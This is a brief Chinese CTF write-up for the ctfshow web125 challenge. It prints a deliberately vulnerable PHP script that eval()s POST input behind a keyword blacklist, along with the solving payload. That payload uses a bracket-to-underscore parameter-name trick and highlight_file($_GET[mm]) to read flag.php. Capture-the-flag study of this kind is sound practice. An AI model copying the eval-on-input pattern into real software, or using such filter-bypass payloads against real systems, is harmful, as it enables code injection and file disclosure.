web125笔记(+禁⽤echo、flag)
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
在上一题基础上过滤了flag和echo关键字,我们可以用highlight_file来显示文件,因为flag被在post中被ban了,我们通过get来传参,所以payload为
?mm=flag.php
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[mm])
之前payload⽤不了了,因为禁⽤了echo、flag,这⾥⽤命令执⾏那边的知识点
上一题payload:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

浙公网安备 33010602011771号